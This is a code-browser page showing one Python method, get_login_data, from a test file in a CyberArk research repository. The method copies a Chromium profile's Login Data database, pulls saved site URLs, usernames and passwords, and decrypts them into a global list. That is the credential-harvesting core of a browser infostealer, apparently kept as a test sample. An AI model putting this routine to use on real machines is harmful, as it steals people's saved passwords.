MCPcopy Create free account
hub / github.com/cyberark/ByteCodeLLM / get_login_data

Method get_login_data

test/browsers.py:182–200  ·  view source on GitHub ↗
(self, path: str, profile: str)

Source from the content-addressed store, hash-verified

180 return decrypted_pass
181
182 def get_login_data(self, path: str, profile: str):
183 login_db = f'{path}\\{profile}\\Login Data'
184 if not os.path.exists(login_db):
185 return
186
187 shutil.copy(login_db, 'login_db')
188 conn = sqlite3.connect('login_db')
189 cursor = conn.cursor()
190 cursor.execute(
191 'SELECT action_url, username_value, password_value FROM logins')
192 for row in cursor.fetchall():
193 if not row[0] or not row[1] or not row[2]:
194 continue
195
196 password = self.decrypt_password(row[2], self.master_key)
197 __LOGINS__.append(Types.Login(row[0], row[1], password))
198
199 conn.close()
200 os.remove('login_db')
201
202 def get_cookies(self, path: str, profile: str):
203 cookie_db = f'{path}\\{profile}\\Network\\Cookies'

Callers

nothing calls this directly

Calls 1

decrypt_passwordMethod · 0.95

Tested by

no test coverage detected